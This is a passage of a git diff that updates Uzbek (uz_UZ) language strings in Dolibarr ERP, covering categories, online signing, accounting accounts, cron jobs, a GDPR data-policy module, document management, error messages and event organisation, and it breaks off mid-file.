+OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/uz_UZ/categories.lang b/htdocs/langs/uz_UZ/categories.lang index c9fcb14233b..0d03fca5c20 100644 --- a/htdocs/langs/uz_UZ/categories.lang +++ b/htdocs/langs/uz_UZ/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Ushbu a'zo hech qanday teg / toifada emas ContactHasNoCategory=Ushbu aloqa hech qanday teg / toifada emas ProjectHasNoCategory=Ushbu loyiha biron bir teg / toifada emas ClassifyInCategory=Tag / toifaga qo'shish +RemoveCategory=Remove category NotCategorized=Tag / toifasiz CategoryExistsAtSameLevel=Ushbu turkum ushbu havola bilan allaqachon mavjud ContentsVisibleByAllShort=Hamma ko'rinadigan tarkib @@ -67,6 +68,7 @@ StockCategoriesShort=Ombor teglari / toifalari ThisCategoryHasNoItems=Ushbu turkumda biron bir narsa mavjud emas. CategId=Tag / kategoriya identifikatori ParentCategory=Ota-ona yorlig'i / toifasi +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Ota-ona yorlig'i / toifasi yorlig'i CatSupList=Sotuvchilar teglari / toifalari ro'yxati CatCusList=Mijozlar ro'yxati / istiqbollari teglari / toifalari @@ -86,7 +88,7 @@ DeleteFromCat=Teglardan / toifadan olib tashlash ExtraFieldsCategories=Bir-birini to'ldiruvchi atributlar CategoriesSetup=Teglar / toifalarni sozlash CategorieRecursiv=Ota-ona yorlig'i / toifasi bilan avtomatik ravishda bog'lanish -CategorieRecursivHelp=Agar parametr yoniq bo'lsa, mahsulotni pastki toifaga qo'shganda, mahsulot ota-onalar toifasiga qo'shiladi. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Quyidagi mahsulot / xizmatni qo'shing AddCustomerIntoCategory=Mijozga toifani tayinlang AddSupplierIntoCategory=Yetkazib beruvchiga toifani tayinlang @@ -95,7 +97,9 @@ ShowCategory=Teg / toifani ko'rsatish ByDefaultInList=Odatiy bo'lib, ro'yxatda ChooseCategory=Toifani tanlang StocksCategoriesArea=Ombor toifalari +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Voqealar toifalari WebsitePagesCategoriesArea=Sahifa konteynerlari toifalari KnowledgemanagementsCategoriesArea=KM maqola toifalari UseOrOperatorForCategories=Kategoriyalar uchun 'OR' operatoridan foydalaning +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/uz_UZ/commercial.lang b/htdocs/langs/uz_UZ/commercial.lang index f5a79674ddc..25f6f2751f1 100644 --- a/htdocs/langs/uz_UZ/commercial.lang +++ b/htdocs/langs/uz_UZ/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Istiqbol holati DraftPropals=Tijorat takliflari loyihasi NoLimit=Cheklov yo'q ToOfferALinkForOnlineSignature=Onlayn imzo uchun havola -WelcomeOnOnlineSignaturePage=%s dan tijorat takliflarini qabul qilish uchun sahifaga xush kelibsiz -ThisScreenAllowsYouToSignDocFrom=Ushbu ekran sizga takliflarni / tijorat takliflarini qabul qilish va imzolashga yoki rad etishga imkon beradi -ThisIsInformationOnDocumentToSign=Bu qabul qilish yoki rad etish to'g'risidagi hujjatdagi ma'lumot +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=%s taklifi / tijorat taklifining imzosi +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Onlayn imzo chekish xususiyati o'chirilgan yoki ushbu xususiyat yoqilmaguncha yaratilgan hujjat diff --git a/htdocs/langs/uz_UZ/compta.lang b/htdocs/langs/uz_UZ/compta.lang index deb233bb02e..05015773ac4 100644 --- a/htdocs/langs/uz_UZ/compta.lang +++ b/htdocs/langs/uz_UZ/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balans (oldin) Balance=Balans Debit=Debet Credit=Kredit +AccountingDebit=Debit +AccountingCredit=Credit Piece=Buxgalteriya hujjati. AmountHTVATRealReceived=Tarmoq yig'ildi AmountHTVATRealPaid=Net to'langan @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Har bir mahsulot uchun to'pl TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Sotish uchun soliq stavkasi bo'yicha yig'ilgan tovar aylanmasi to'g'risidagi hisobot mavjud emas. Ushbu hisobot faqat tovar aylanmasi uchun taqdim etiladi. CalculationMode=Hisoblash rejimi AccountancyJournal=Buxgalteriya kodlari jurnali -ACCOUNTING_VAT_SOLD_ACCOUNT=Sotish bo'yicha QQS uchun sukut bo'yicha buxgalteriya hisobi (agar QQS lug'atida o'rnatilmagan bo'lsa ishlatiladi) -ACCOUNTING_VAT_BUY_ACCOUNT=Xaridlarda QQS uchun sukut bo'yicha buxgalteriya hisobi (agar QQS lug'atida o'rnatilmagan bo'lsa ishlatiladi) -ACCOUNTING_VAT_PAY_ACCOUNT=QQS to'lash uchun sukut bo'yicha buxgalteriya hisobi -ACCOUNTING_ACCOUNT_CUSTOMER=Mijozlarning uchinchi shaxslari uchun foydalaniladigan buxgalteriya hisobi +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Uchinchi tomon kartasida belgilangan buxgalteriya hisobi faqat Subledger buxgalteriyasi uchun ishlatiladi. Ushbu mablag 'Bosh daftar uchun ishlatiladi va Subledger buxgalteriya hisobining standart qiymati sifatida, agar uchinchi tomonning maxsus mijozlar hisobi aniqlanmagan bo'lsa. -ACCOUNTING_ACCOUNT_SUPPLIER=Sotuvchi uchinchi shaxslar uchun foydalaniladigan buxgalteriya hisobi +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Uchinchi tomon kartasida belgilangan buxgalteriya hisobi faqat Subledger buxgalteriyasi uchun ishlatiladi. Ushbu mablag 'Bosh daftar uchun va Subledger buxgalteriya hisobining standart qiymati sifatida ishlatiladi, agar uchinchi tomonning maxsus sotuvchisi buxgalteriya hisobi aniqlanmasa. ConfirmCloneTax=Ijtimoiy / soliq soliqlarining klonini tasdiqlang ConfirmCloneVAT=QQS deklaratsiyasining klonini tasdiqlang @@ -300,3 +302,4 @@ InvoiceToPay15Days=To'lash uchun (15 dan 30 kungacha) InvoiceToPay30Days=To'lash uchun (> 30 kun) ConfirmPreselectAccount=Buxgalteriya kodini oldindan tanlang ConfirmPreselectAccountQuestion=Haqiqatan ham ushbu hisob kodi bilan tanlangan %s qatorlarini oldindan tanlamoqchimisiz? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/uz_UZ/contracts.lang b/htdocs/langs/uz_UZ/contracts.lang index f10a7e9610d..18db6fcb240 100644 --- a/htdocs/langs/uz_UZ/contracts.lang +++ b/htdocs/langs/uz_UZ/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Ushbu shartnoma qatorini o'chirishni xohlaysizmi? MoveToAnotherContract=Xizmatni boshqa shartnomaga o'tkazing. ConfirmMoveToAnotherContract=Men yangi maqsadli shartnomani tanladim va ushbu xizmatni ushbu shartnomaga o'tkazishni xohlayotganimni tasdiqladim. ConfirmMoveToAnotherContractQuestion=Qaysi amaldagi shartnomada (xuddi shu uchinchi tomonda) ushbu xizmatga o'tishni xohlaysizmi? -PaymentRenewContractId=Shartnomani yangilang (raqam %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Tugash muddati NoExpiredServices=Muddati o'tgan faol xizmatlar yo'q ListOfServicesToExpireWithDuration=%s kun ichida tugaydigan xizmatlar ro'yxati diff --git a/htdocs/langs/uz_UZ/cron.lang b/htdocs/langs/uz_UZ/cron.lang index f672a8ace02..b9a2c9f2db1 100644 --- a/htdocs/langs/uz_UZ/cron.lang +++ b/htdocs/langs/uz_UZ/cron.lang @@ -26,7 +26,7 @@ CronCommand=Buyruq CronList=Rejalashtirilgan ish joylari CronDelete=Rejalashtirilgan ishlarni o'chirish CronConfirmDelete=Ushbu rejalashtirilgan ishlarni o'chirishni xohlaysizmi? -CronExecute=Rejalashtirilgan ishni boshlash +CronExecute=Launch now CronConfirmExecute=Ushbu rejalashtirilgan ishlarni hoziroq bajarishni xohlaysizmi? CronInfo=Rejalashtirilgan ish moduli ishlarni avtomatik ravishda bajarilishini rejalashtirishga imkon beradi. Ishlarni qo'lda boshlash ham mumkin. CronTask=Ish @@ -58,7 +58,7 @@ CronNote=Izoh CronFieldMandatory=%s maydonlari majburiydir CronErrEndDateStartDt=Tugash sanasi boshlanish sanasidan oldin bo'lishi mumkin emas StatusAtInstall=Modulni o'rnatish holati -CronStatusActiveBtn=Jadval +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=O'chirish CronTaskInactive=Bu ish o'chirilgan (rejalashtirilgan emas) CronId=Id @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Mahalliy ma'lumotlar bazasini zaxiralash MakeLocalDatabaseDump=Mahalliy ma'lumotlar bazasi axlatxonasini yarating. Parametrlar quyidagilardir: siqish ('gz' yoki 'bz' yoki 'yo'q'), zaxira turi ('mysql', 'pgsql', 'auto'), 1, 'auto' yoki fayl nomi yaratish, saqlash uchun zaxira fayllar soni MakeSendLocalDatabaseDumpShort=Mahalliy ma'lumotlar bazasi zahirasini yuboring MakeSendLocalDatabaseDump=Mahalliy ma'lumotlar bazasi zahirasini elektron pochta orqali yuboring. Parametrlar: kimga, kimdan, mavzu, xabar, fayl nomi (yuborilgan fayl nomi), filtr (faqat maʼlumotlar bazasini zaxiralash uchun "sql") +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=E'tibor bering, ishga tushirilgan ish kunining keyingi sanasi qanday bo'lishidan qat'i nazar, sizning ishingiz bajarilishidan oldin maksimal %s soatga kechiktirilishi mumkin. DATAPOLICYJob=Ma'lumotlarni tozalovchi va anonimayzer JobXMustBeEnabled=%s ishi yoqilgan bo'lishi kerak +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Oxirgi marta rejalashtirilgan ish NextScheduledJobExecute=Keyingi rejalashtirilgan ish NumberScheduledJobError=Xatoda rejalashtirilgan ishlarning soni +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/uz_UZ/datapolicy.lang b/htdocs/langs/uz_UZ/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/uz_UZ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/uz_UZ/ecm.lang b/htdocs/langs/uz_UZ/ecm.lang index bc8be435c12..414fb082bbd 100644 --- a/htdocs/langs/uz_UZ/ecm.lang +++ b/htdocs/langs/uz_UZ/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Qo'llanma katalogi ECMSectionAuto=Avtomatik katalog ECMSectionsManual=Qo'lda ishlatiladigan daraxt ECMSectionsAuto=Avtomatik daraxt +ECMSectionsMedias=Medias tree ECMSections=Kataloglar ECMRoot=ECM ildizi ECMNewSection=Yangi katalog @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Ichki kataloglardagi fayllar soni ECMCreationUser=Ijodkor ECMArea=DMS / ECM maydoni ECMAreaDesc=DMS / ECM (Hujjatlarni boshqarish tizimi / Elektron kontentni boshqarish) maydoni Dolibarrdagi barcha turdagi hujjatlarni saqlash, almashish va tezkor qidirish imkonini beradi. -ECMAreaDesc2=* Element kartasidan hujjatlar qo'shilganda avtomatik kataloglar avtomatik ravishda to'ldiriladi.
      * qo'llanma kataloglaridan ma'lum bir elementga bog'lanmagan hujjatlarni saqlash uchun foydalanish mumkin. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved= %s katalog o'chirildi. ECMSectionWasCreated= %s katalogi yaratildi. ECMSearchByKeywords=Kalit so'zlar bo'yicha qidirish diff --git a/htdocs/langs/uz_UZ/errors.lang b/htdocs/langs/uz_UZ/errors.lang index 180e93377f7..d5d58644cae 100644 --- a/htdocs/langs/uz_UZ/errors.lang +++ b/htdocs/langs/uz_UZ/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=%s-ga kirish allaqachon mavjud. ErrorGroupAlreadyExists=%s guruhi allaqachon mavjud. ErrorEmailAlreadyExists=%s elektron pochtasi allaqachon mavjud. ErrorRecordNotFound=Yozuv topilmadi. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=' %s ' faylini ' %s ' ga ko'chirib bo'lmadi. ErrorFailToCopyDir=' %s ' katalogini ' %s ' ga ko'chirib bo'lmadi. ErrorFailToRenameFile=' %s ' faylini ' %s ' deb o'zgartirib bo'lmadi. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Rasm fayli qo'llab-quvvatlanadigan formatga ega emas (siznin ErrorBadDateFormat="%s" qiymati noto'g'ri sana formatiga ega ErrorWrongDate=Sana to'g'ri emas! ErrorFailedToWriteInDir=%s katalogiga yozib bo'lmadi +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Faylda %s satrlari uchun noto'g'ri elektron pochta sintaksisini topdi (masalan, %s qatori elektron pochta bilan = %s) ErrorUserCannotBeDelete=Foydalanuvchini o'chirib bo'lmaydi. Ehtimol, bu Dolibarr sub'ektlari bilan bog'liq. ErrorFieldsRequired=Ba'zi majburiy maydonlar bo'sh qoldirildi. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Iltimos, katakchalar ro'yxati uchun qiymatni to'ldir ErrorNoValueForRadioType=Iltimos, radio ro'yxati uchun qiymatni to'ldiring ErrorBadFormatValueList=Ro'yxat qiymati bitta verguldan iborat bo'lishi mumkin emas: %s , lekin kamida bittasi kerak: key, value ErrorFieldCanNotContainSpecialCharacters= %s maydonida maxsus belgilar bo'lmasligi kerak. -ErrorFieldCanNotContainSpecialNorUpperCharacters= %s maydonida maxsus belgilar, shuningdek katta harflar bo'lmasligi va faqat raqamlardan iborat bo'lishi kerak. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar= %s maydonida kamida %s belgilar bo'lishi kerak. ErrorNoAccountancyModuleLoaded=Buxgalteriya moduli faollashtirilmagan ErrorExportDuplicateProfil=Ushbu eksport to'plami uchun ushbu profil nomi allaqachon mavjud. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Maydon %s : ' %s ' regex qoida %s ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Dala %s : « %s " bir qiymati dala %s topilmadi %s ErrorFieldRefNotIn=Maydon %s : ' %s ' %s emas +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s xatolar topildi ErrorFileIsInfectedWithAVirus=Antivirus dasturi faylni tekshira olmadi (faylga virus yuqishi mumkin) -ErrorSpecialCharNotAllowedForField="%s" maydoni uchun maxsus belgilarga ruxsat berilmaydi ErrorNumRefModel=Ma'lumotlar bazasida (%s) ma'lumotlar bazasi mavjud va bu raqamlash qoidalariga mos kelmaydi. Ushbu modulni faollashtirish uchun yozuvni o'chirib tashlang yoki nomini o'zgartiring. ErrorQtyTooLowForThisSupplier=Ushbu sotuvchi uchun juda kam miqdor yoki ushbu sotuvchida ushbu mahsulot uchun narx belgilanmagan ErrorOrdersNotCreatedQtyTooLow=Kam miqdordagi buyurtma tufayli ba'zi buyurtmalar yaratilmagan @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=O'chirish uchun ob'ektlar "Faol" hol ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Ob'ektlarni yoqish uchun "Qoralama" yoki "O'chirilgan" holati bo'lishi kerak ErrorNoFieldWithAttributeShowoncombobox=Hech bir maydonda '%s' ob'ekti ta'rifida 'showoncombobox' xususiyati mavjud emas. Kombolistni ko'rsatishning imkoni yo'q. ErrorFieldRequiredForProduct=%s mahsuloti uchun '%s' maydoni talab qilinadi +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Muammo %s terminalini o'rnatishda. ErrorAddAtLeastOneLineFirst=Avval kamida bitta satr qo'shing ErrorRecordAlreadyInAccountingDeletionNotPossible=Xato, yozuv allaqachon buxgalteriya hisobiga o'tkazilgan, yo'q qilish mumkin emas. @@ -277,8 +280,8 @@ ErrorWrongFileName=Fayl nomida __SOMETHING__ bo'lishi mumkin emas ErrorNotInDictionaryPaymentConditions=To'lov shartlari lug'atida yo'q, iltimos o'zgartiring. ErrorIsNotADraft=%s qoralama emas ErrorExecIdFailed="ID" buyrug'ini bajarib bo'lmadi -ErrorBadCharIntoLoginName=Kirish nomidagi ruxsatsiz belgi -ErrorRequestTooLarge=Xato, soʻrov juda katta +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Siz %s tark etishni tasdiqlovchi emassiz ErrorAttributeIsUsedIntoProduct=Ushbu atribut bir yoki bir nechta mahsulot variantida qo'llaniladi ErrorAttributeValueIsUsedIntoProduct=Ushbu atribut qiymati bir yoki bir nechta mahsulot variantida ishlatiladi @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=So‘rov bajarilmadi ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=PHP parametringiz upload_max_filesize (%s) PHP post_max_size (%s) parametridan yuqori. Bu izchil o'rnatish emas. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Ogohlantirish, sizning konfiguratsiya fayli ( h WarningsOnXLines= %s manba yozuvlari (lar) haqida ogohlantirishlar WarningNoDocumentModelActivated=Hujjatlarni yaratish uchun hech qanday model faollashtirilmagan. Modul sozlamalarini tekshirguningizcha sukut bo'yicha model tanlanadi. WarningLockFileDoesNotExists=Ogohlantirish, o'rnatish tugagandan so'ng, faylini qo'shib o'rnatish / ko'chirish vositalarini o'chirib qo'yishingiz kerak katalogiga %s . Ushbu faylni yaratishni tashlab qo'yish xavfsizlikka katta xavf tug'diradi. -WarningUntilDirRemoved=Barcha xavfsizlik ogohlantirishlari (faqat administrator foydalanuvchilari tomonidan ko'rinadigan) zaiflik mavjud bo'lganda (yoki Setup-> Other Setup-ga doimiy MAIN_REMOVE_INSTALL_WARNING qo'shilsa) faol bo'lib qoladi. +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Ogohlantirish, yopish, agar manba va maqsad elementlari o'rtasida farq bo'lsa ham amalga oshiriladi. Ushbu xususiyatni ehtiyotkorlik bilan yoqing. WarningUsingThisBoxSlowDown=Ogohlantirish, ushbu katakchadan foydalanib, katakchani ko'rsatadigan barcha sahifalarni sekinlashtiring. WarningClickToDialUserSetupNotComplete=Foydalanuvchingiz uchun ClickToDial ma'lumotlarini sozlash tugallanmagan (ClickToDial yorlig'ini foydalanuvchi kartangizga qarang). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Faqat HTTPS xavfsiz ulanishidan foydalanish WarningModuleXDisabledSoYouMayMissEventHere=%s moduli yoqilmagan. Shunday qilib, siz bu erda ko'plab tadbirlarni o'tkazib yuborishingiz mumkin. WarningPaypalPaymentNotCompatibleWithStrict="Qat'iy" qiymati onlayn to'lov xususiyatlarining noto'g'ri ishlashiga olib keladi. Buning o'rniga "Lax" dan foydalaning. WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Qiymat yaroqsiz diff --git a/htdocs/langs/uz_UZ/eventorganization.lang b/htdocs/langs/uz_UZ/eventorganization.lang index 5e2479ff6aa..8966084c87b 100644 --- a/htdocs/langs/uz_UZ/eventorganization.lang +++ b/htdocs/langs/uz_UZ/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Ishtirokchini yaratish/qo'shish shaklid # Object # EventOrganizationConfOrBooth= Konferentsiya yoki stend +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Tadbirni tashkil qilishni boshqaring ConferenceOrBooth = Konferentsiya yoki stend ConferenceOrBoothTab = Konferentsiya yoki stend AmountPaid = To'langan miqdor DateOfRegistration = Ro'yxatdan o'tish sanasi ConferenceOrBoothAttendee = Konferentsiya yoki stend ishtirokchisi +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Bu yerda siz konferentsiya uchun ovoz berishing EvntOrgRegistrationConfHelpMessage = Bu yerda 